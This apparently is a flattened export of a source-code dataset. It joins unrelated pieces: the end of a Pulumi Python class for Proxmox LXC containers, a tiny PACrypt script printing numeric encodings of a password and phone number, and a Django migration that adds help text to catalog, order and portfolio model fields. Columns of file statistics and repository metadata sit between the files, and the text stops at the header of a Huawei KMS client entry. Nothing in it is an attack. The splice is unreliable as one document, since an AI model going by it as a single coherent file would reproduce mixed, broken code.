__props__.__dict__["features"] = features
__props__.__dict__["force"] = force
__props__.__dict__["full"] = full
__props__.__dict__["hagroup"] = hagroup
__props__.__dict__["hastate"] = hastate
__props__.__dict__["hookscript"] = hookscript
__props__.__dict__["hostname"] = hostname
__props__.__dict__["ignore_unpack_errors"] = ignore_unpack_errors
__props__.__dict__["lock"] = lock
__props__.__dict__["memory"] = memory
__props__.__dict__["mountpoints"] = mountpoints
__props__.__dict__["nameserver"] = nameserver
__props__.__dict__["networks"] = networks
__props__.__dict__["onboot"] = onboot
__props__.__dict__["ostemplate"] = ostemplate
__props__.__dict__["ostype"] = ostype
__props__.__dict__["password"] = password
__props__.__dict__["pool"] = pool
__props__.__dict__["protection"] = protection
__props__.__dict__["restore"] = restore
__props__.__dict__["rootfs"] = rootfs
__props__.__dict__["searchdomain"] = searchdomain
__props__.__dict__["ssh_public_keys"] = ssh_public_keys
__props__.__dict__["start"] = start
__props__.__dict__["startup"] = startup
__props__.__dict__["swap"] = swap
__props__.__dict__["tags"] = tags
__props__.__dict__["target_node"] = target_node
__props__.__dict__["template"] = template
__props__.__dict__["tty"] = tty
__props__.__dict__["unique"] = unique
__props__.__dict__["unprivileged"] = unprivileged
__props__.__dict__["unuseds"] = unuseds
__props__.__dict__["vmid"] = vmid
return LXCContainer(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def arch(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "arch")
@property
@pulumi.getter
def bwlimit(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "bwlimit")
@property
@pulumi.getter
def clone(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "clone")
@property
@pulumi.getter(name="cloneStorage")
def clone_storage(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "clone_storage")
@property
@pulumi.getter
def cmode(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "cmode")
@property
@pulumi.getter
def console(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "console")
@property
@pulumi.getter
def cores(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "cores")
@property
@pulumi.getter
def cpulimit(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "cpulimit")
@property
@pulumi.getter
def cpuunits(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "cpuunits")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "description")
@property
@pulumi.getter
def features(self) -> pulumi.Output[Optional['outputs.LXCContainerFeatures']]:
return pulumi.get(self, "features")
@property
@pulumi.getter
def force(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "force")
@property
@pulumi.getter
def full(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "full")
@property
@pulumi.getter
def hagroup(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "hagroup")
@property
@pulumi.getter
def hastate(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "hastate")
@property
@pulumi.getter
def hookscript(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "hookscript")
@property
@pulumi.getter
def hostname(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "hostname")
@property
@pulumi.getter(name="ignoreUnpackErrors")
def ignore_unpack_errors(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "ignore_unpack_errors")
@property
@pulumi.getter
def lock(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "lock")
@property
@pulumi.getter
def memory(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "memory")
@property
@pulumi.getter
def mountpoints(self) -> pulumi.Output[Optional[Sequence['outputs.LXCContainerMountpoint']]]:
return pulumi.get(self, "mountpoints")
@property
@pulumi.getter
def nameserver(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "nameserver")
@property
@pulumi.getter
def networks(self) -> pulumi.Output[Optional[Sequence['outputs.LXCContainerNetwork']]]:
return pulumi.get(self, "networks")
@property
@pulumi.getter
def onboot(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "onboot")
@property
@pulumi.getter
def ostemplate(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "ostemplate")
@property
@pulumi.getter
def ostype(self) -> pulumi.Output[str]:
return pulumi.get(self, "ostype")
@property
@pulumi.getter
def password(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "password")
@property
@pulumi.getter
def pool(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "pool")
@property
@pulumi.getter
def protection(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "protection")
@property
@pulumi.getter
def restore(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "restore")
@property
@pulumi.getter
def rootfs(self) -> pulumi.Output[Optional['outputs.LXCContainerRootfs']]:
return pulumi.get(self, "rootfs")
@property
@pulumi.getter
def searchdomain(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "searchdomain")
@property
@pulumi.getter(name="sshPublicKeys")
def ssh_public_keys(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "ssh_public_keys")
@property
@pulumi.getter
def start(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "start")
@property
@pulumi.getter
def startup(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "startup")
@property
@pulumi.getter
def swap(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "swap")
@property
@pulumi.getter
def tags(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "tags")
@property
@pulumi.getter(name="targetNode")
def target_node(self) -> pulumi.Output[str]:
return pulumi.get(self, "target_node")
@property
@pulumi.getter
def template(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "template")
@property
@pulumi.getter
def tty(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "tty")
@property
@pulumi.getter
def unique(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "unique")
@property
@pulumi.getter
def unprivileged(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "unprivileged")
@property
@pulumi.getter
def unuseds(self) -> pulumi.Output[Sequence[str]]:
return pulumi.get(self, "unuseds")
@property
@pulumi.getter
def vmid(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "vmid")
| 37.670455
| 134
| 0.618167
| 6,504
| 59,670
| 5.462023
| 0.029213
| 0.12912
| 0.207516
| 0.109613
| 0.945194
| 0.937453
| 0.891569
| 0.886981
| 0.876904
| 0.82874
| 0
| 0.000022
| 0.25279
| 59,670
| 1,583
| 135
| 37.694251
| 0.796752
| 0.018988
| 0
| 0.922961
| 1
| 0
| 0.075464
| 0.017225
| 0
| 0
| 0
| 0
| 0
| 1
| 0.16994
| false
| 0.018127
| 0.005287
| 0.098943
| 0.27719
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
8b40a9775ef5abf0ab9a7a2c513dcc70271d80ea
| 354
|
py
|
Python
|
main.py
|
nikitt-code/py-auth-encrypt
|
65b40031a80aa4f51ac071ced0aff0f9ae63c795
|
[
"MIT"
] | null | null | null |
main.py
|
nikitt-code/py-auth-encrypt
|
65b40031a80aa4f51ac071ced0aff0f9ae63c795
|
[
"MIT"
] | null | null | null |
main.py
|
nikitt-code/py-auth-encrypt
|
65b40031a80aa4f51ac071ced0aff0f9ae63c795
|
[
"MIT"
] | null | null | null |
import PACrypt
pac = PACrypt.Init()
print(pac.password("mysupersecreTTTpasswordadwdwa", 5))
# 444157154256036112436072587541693624076755672895177551428225360594572972299194330109409163709150304140202440078016
print(pac.phone(77778187276))
# 4319497528477571353237713124486853003085805071461469194183444169461798912207674394836126039668752229278780705
| 35.4
| 116
| 0.903955
| 16
| 354
| 20
| 0.75
| 0.05
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.693215
| 0.042373
| 354
| 9
| 117
| 39.333333
| 0.250737
| 0.632768
| 0
| 0
| 0
| 0
| 0.228346
| 0.228346
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0.25
| 0.25
| 0
| 0.25
| 0.5
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
|
0
| 8
|
8b4903e1e382c86637db5ad8bcce513cf300077a
| 37,292
|
py
|
Python
|
pinakes/main/migrations/0020_auto_20211208_2019.py
|
hsong-rh/pinakes
|
2f08cb757ca64c866af3244686b92a3074fc7571
|
[
"Apache-2.0"
] | null | null | null |
pinakes/main/migrations/0020_auto_20211208_2019.py
|
hsong-rh/pinakes
|
2f08cb757ca64c866af3244686b92a3074fc7571
|
[
"Apache-2.0"
] | null | null | null |
pinakes/main/migrations/0020_auto_20211208_2019.py
|
hsong-rh/pinakes
|
2f08cb757ca64c866af3244686b92a3074fc7571
|
[
"Apache-2.0"
] | null | null | null |
# Generated by Django 3.2.8 on 2021-12-08 20:19
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
("main", "0019_portfolio_keycloak_id"),
]
operations = [
migrations.AlterField(
model_name="action",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="action",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="action",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="approvalrequest",
name="approval_request_ref",
field=models.CharField(
default="",
help_text="The ID of the approval submitted to approval-api",
max_length=64,
),
),
migrations.AlterField(
model_name="approvalrequest",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="approvalrequest",
name="order",
field=models.OneToOneField(
help_text="The Order which the approval request belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.order",
),
),
migrations.AlterField(
model_name="approvalrequest",
name="reason",
field=models.TextField(
blank=True,
default="",
help_text="The reason for the current state",
),
),
migrations.AlterField(
model_name="approvalrequest",
name="request_completed_at",
field=models.DateTimeField(
editable=False,
help_text="The time at which the approval request completed",
null=True,
),
),
migrations.AlterField(
model_name="approvalrequest",
name="state",
field=models.CharField(
choices=[
("undecided", "Undecided"),
("approved", "Approved"),
("canceled", "Canceled"),
("denied", "Denied"),
("failed", "Failed"),
],
default="undecided",
editable=False,
help_text="The state of the approval request (approved, denied, undecided, canceled, error)",
max_length=10,
),
),
migrations.AlterField(
model_name="approvalrequest",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="approvalrequest",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="base_schema",
field=models.JSONField(
blank=True,
help_text="JSON schema of the survey from the controller",
null=True,
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="create_json_schema",
field=models.JSONField(
blank=True,
help_text="Current JSON schema for the service plan",
null=True,
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="imported",
field=models.BooleanField(
default=True,
help_text="Whether or not the service plan has been imported for editing",
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="modified",
field=models.BooleanField(
default=False,
help_text="Whether or not the service plan has a modified schema",
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="modified_schema",
field=models.JSONField(
blank=True,
help_text="Modified JSON schema for the service plan",
null=True,
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="name",
field=models.CharField(
blank=True,
default="",
help_text="The name of the service plan",
max_length=255,
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="portfolio_item",
field=models.ForeignKey(
help_text="ID of the portfolio item",
on_delete=django.db.models.deletion.CASCADE,
to="main.portfolioitem",
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="service_offering_ref",
field=models.CharField(
help_text="Corresponding service offering from inventory-api",
max_length=64,
null=True,
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="service_plan_ref",
field=models.CharField(
help_text="Corresponding service plan from inventory-api",
max_length=64,
null=True,
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="catalogserviceplan",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="image",
name="file",
field=models.ImageField(
blank=True, help_text="The image file", null=True, upload_to=""
),
),
migrations.AlterField(
model_name="order",
name="completed_at",
field=models.DateTimeField(
editable=False,
help_text="The time at which the order completed",
null=True,
),
),
migrations.AlterField(
model_name="order",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="order",
name="order_request_sent_at",
field=models.DateTimeField(
editable=False,
help_text="The time at which the order request was sent to the catalog inventory service",
null=True,
),
),
migrations.AlterField(
model_name="order",
name="state",
field=models.CharField(
choices=[
("Pending", "Pending"),
("Approved", "Approved"),
("Canceled", "Canceled"),
("Completed", "Completed"),
("Created", "Created"),
("Denied", "Denied"),
("Failed", "Failed"),
("Ordered", "Ordered"),
],
default="Created",
editable=False,
help_text="Current state of the order",
max_length=10,
),
),
migrations.AlterField(
model_name="order",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="order",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="order",
name="user",
field=models.ForeignKey(
help_text="ID of the user who created this object",
on_delete=django.db.models.deletion.CASCADE,
to=settings.AUTH_USER_MODEL,
),
),
migrations.AlterField(
model_name="orderitem",
name="artifacts",
field=models.JSONField(
blank=True,
help_text="Contains a prefix-stripped key/value object that contains all of the information exposed from product provisioning",
null=True,
),
),
migrations.AlterField(
model_name="orderitem",
name="completed_at",
field=models.DateTimeField(
editable=False,
help_text="The time at which the order item completed",
null=True,
),
),
migrations.AlterField(
model_name="orderitem",
name="count",
field=models.SmallIntegerField(
default=0, editable=False, help_text="Item count"
),
),
migrations.AlterField(
model_name="orderitem",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="orderitem",
name="external_url",
field=models.URLField(
blank=True,
help_text="The external url of the service instance used with relation to this order item",
),
),
migrations.AlterField(
model_name="orderitem",
name="inventory_task_ref",
field=models.CharField(
help_text="Task reference from inventory-api",
max_length=64,
null=True,
),
),
migrations.AlterField(
model_name="orderitem",
name="name",
field=models.CharField(
help_text="Name of the portfolio item or order process",
max_length=64,
),
),
migrations.AlterField(
model_name="orderitem",
name="order",
field=models.ForeignKey(
help_text="The order that the order item belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.order",
),
),
migrations.AlterField(
model_name="orderitem",
name="order_request_sent_at",
field=models.DateTimeField(
editable=False,
help_text="The time at which the order request was sent to the catalog inventory service",
null=True,
),
),
migrations.AlterField(
model_name="orderitem",
name="portfolio_item",
field=models.ForeignKey(
help_text="Stores the portfolio item ID",
on_delete=django.db.models.deletion.CASCADE,
to="main.portfolioitem",
),
),
migrations.AlterField(
model_name="orderitem",
name="provider_control_parameters",
field=models.JSONField(
blank=True,
help_text="The provider specific parameters needed to provision this service. This might include namespaces, special keys.",
null=True,
),
),
migrations.AlterField(
model_name="orderitem",
name="service_instance_ref",
field=models.CharField(
help_text="Corresponding service instance from inventory-api",
max_length=64,
null=True,
),
),
migrations.AlterField(
model_name="orderitem",
name="service_parameters",
field=models.JSONField(
blank=True,
help_text="Sanitized JSON object with provisioning parameters",
null=True,
),
),
migrations.AlterField(
model_name="orderitem",
name="service_parameters_raw",
field=models.JSONField(
blank=True,
help_text="Raw JSON object with provisioning parameters",
null=True,
),
),
migrations.AlterField(
model_name="orderitem",
name="service_plan_ref",
field=models.CharField(
help_text="Corresponding service plan from inventory-api",
max_length=64,
null=True,
),
),
migrations.AlterField(
model_name="orderitem",
name="state",
field=models.CharField(
choices=[
("Pending", "Pending"),
("Approved", "Approved"),
("Canceled", "Canceled"),
("Completed", "Completed"),
("Created", "Created"),
("Denied", "Denied"),
("Failed", "Failed"),
("Ordered", "Ordered"),
],
default="Created",
editable=False,
help_text="Current state of this order item",
max_length=10,
),
),
migrations.AlterField(
model_name="orderitem",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="orderitem",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="orderitem",
name="user",
field=models.ForeignKey(
help_text="ID of the user who created this object",
on_delete=django.db.models.deletion.CASCADE,
to=settings.AUTH_USER_MODEL,
),
),
migrations.AlterField(
model_name="portfolio",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="portfolio",
name="description",
field=models.TextField(
blank=True,
default="",
help_text="Describe the portfolio in details",
),
),
migrations.AlterField(
model_name="portfolio",
name="enabled",
field=models.BooleanField(
default=False,
help_text="Whether or not this portfolio is enabled",
),
),
migrations.AlterField(
model_name="portfolio",
name="icon",
field=models.ForeignKey(
blank=True,
help_text="ID of the icon image associated with this object",
null=True,
on_delete=django.db.models.deletion.SET_NULL,
to="main.image",
),
),
migrations.AlterField(
model_name="portfolio",
name="name",
field=models.CharField(
help_text="Portfolio name", max_length=255, unique=True
),
),
migrations.AlterField(
model_name="portfolio",
name="owner",
field=models.CharField(
help_text="Name of the user who created the portfolio",
max_length=255,
),
),
migrations.AlterField(
model_name="portfolio",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="portfolio",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="description",
field=models.TextField(
blank=True,
default="",
help_text="Description of the portfolio item",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="distributor",
field=models.CharField(
help_text="The name of the provider for the portfolio item",
max_length=64,
),
),
migrations.AlterField(
model_name="portfolioitem",
name="documentation_url",
field=models.URLField(
blank=True,
help_text="The URL for documentation of the portfolio item",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="favorite",
field=models.BooleanField(
default=False,
help_text="Definition of a favorate portfolio item",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="icon",
field=models.ForeignKey(
blank=True,
help_text="ID of the icon image associated with this object",
null=True,
on_delete=django.db.models.deletion.SET_NULL,
to="main.image",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="long_description",
field=models.TextField(
blank=True,
default="",
help_text="The longer description of the portfolio item",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="name",
field=models.CharField(
help_text="Name of the portfolio item", max_length=64
),
),
migrations.AlterField(
model_name="portfolioitem",
name="orphan",
field=models.BooleanField(
default=False,
help_text="Boolean if an associated service offering no longer exists",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="portfolio",
field=models.ForeignKey(
help_text="ID of the parent portfolio",
on_delete=django.db.models.deletion.CASCADE,
to="main.portfolio",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="service_offering_ref",
field=models.CharField(
help_text="The service offering this portfolio item was created from",
max_length=64,
null=True,
),
),
migrations.AlterField(
model_name="portfolioitem",
name="service_offering_source_ref",
field=models.CharField(
blank=True,
default="",
help_text="The source reference this portfolio item was created from",
max_length=64,
),
),
migrations.AlterField(
model_name="portfolioitem",
name="state",
field=models.CharField(
help_text="The current state of the portfolio item",
max_length=64,
),
),
migrations.AlterField(
model_name="portfolioitem",
name="support_url",
field=models.URLField(
blank=True,
help_text="The URL for finding support for the portfolio item",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="portfolioitem",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="progressmessage",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="progressmessage",
name="level",
field=models.CharField(
choices=[
("Info", "Info"),
("Error", "Error"),
("Warning", "Warning"),
("Debug", "Debug"),
],
default="Info",
editable=False,
help_text="One of the predefined levels",
max_length=10,
),
),
migrations.AlterField(
model_name="progressmessage",
name="message",
field=models.TextField(
blank=True, default="", help_text="The message content"
),
),
migrations.AlterField(
model_name="progressmessage",
name="messageable_id",
field=models.IntegerField(
editable=False,
help_text="ID of the order or order item",
null=True,
),
),
migrations.AlterField(
model_name="progressmessage",
name="messageable_type",
field=models.CharField(
help_text="Identify order or order item that this message belongs to",
max_length=64,
null=True,
),
),
migrations.AlterField(
model_name="progressmessage",
name="received_at",
field=models.DateTimeField(
auto_now_add=True, help_text="Message received at"
),
),
migrations.AlterField(
model_name="progressmessage",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="progressmessage",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="request",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="request",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="request",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="serviceinstance",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="serviceinstance",
name="source",
field=models.ForeignKey(
help_text="ID of the source that this object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.source",
),
),
migrations.AlterField(
model_name="serviceinstance",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="serviceinstance",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="serviceinventory",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="serviceinventory",
name="source",
field=models.ForeignKey(
help_text="ID of the source that this object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.source",
),
),
migrations.AlterField(
model_name="serviceinventory",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="serviceinventory",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="serviceoffering",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="serviceoffering",
name="source",
field=models.ForeignKey(
help_text="ID of the source that this object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.source",
),
),
migrations.AlterField(
model_name="serviceoffering",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="serviceoffering",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="serviceofferingnode",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="serviceofferingnode",
name="source",
field=models.ForeignKey(
help_text="ID of the source that this object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.source",
),
),
migrations.AlterField(
model_name="serviceofferingnode",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="serviceofferingnode",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="serviceplan",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="serviceplan",
name="source",
field=models.ForeignKey(
help_text="ID of the source that this object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.source",
),
),
migrations.AlterField(
model_name="serviceplan",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="serviceplan",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="source",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="source",
name="name",
field=models.CharField(
help_text="Name of the source", max_length=255, unique=True
),
),
migrations.AlterField(
model_name="source",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="source",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="taglink",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="taglink",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="taglink",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="template",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="template",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="template",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="tenant",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="tenant",
name="external_tenant",
field=models.CharField(
help_text="User's account number", max_length=32, unique=True
),
),
migrations.AlterField(
model_name="tenant",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
migrations.AlterField(
model_name="workflow",
name="created_at",
field=models.DateTimeField(
auto_now_add=True,
help_text="The time at which the object was created",
),
),
migrations.AlterField(
model_name="workflow",
name="tenant",
field=models.ForeignKey(
help_text="ID of the tenant the object belongs to",
on_delete=django.db.models.deletion.CASCADE,
to="main.tenant",
),
),
migrations.AlterField(
model_name="workflow",
name="updated_at",
field=models.DateTimeField(
auto_now=True,
help_text="The time at which the object was last updated",
),
),
]
| 34.43398
| 143
| 0.49764
| 3,264
| 37,292
| 5.547181
| 0.068321
| 0.133657
| 0.167072
| 0.193803
| 0.88838
| 0.878769
| 0.797415
| 0.752403
| 0.704297
| 0.653651
| 0
| 0.00309
| 0.409847
| 37,292
| 1,082
| 144
| 34.465804
| 0.819611
| 0.001207
| 0
| 0.894981
| 1
| 0
| 0.227467
| 0.003866
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.004647
| 0
| 0.007435
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| null | 0
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| 0
|
0
| 9
|
8c73f92c2a6542dcf8ad4c7b840ed272d19cd50e
| 76,880
|
py
|
Python
|
huaweicloud-sdk-kms/huaweicloudsdkkms/v1/kms_client.py
|
Adek06/huaweicloud-sdk-python-v3
|
3d13b27d089e04a1ae567cd649b3c5509e0391d2
|
[
"Apache-2.0"
] | null | null | null |
huaweicloud-sdk-kms/huaweicloudsdkkms/v1/kms_client.py
|
Adek06/huaweicloud-sdk-python-v3
|
3d13b27d089e04a1ae567cd649b3c5509e0391d2
|
[
"Apache-2.0"
] | null | null | null |
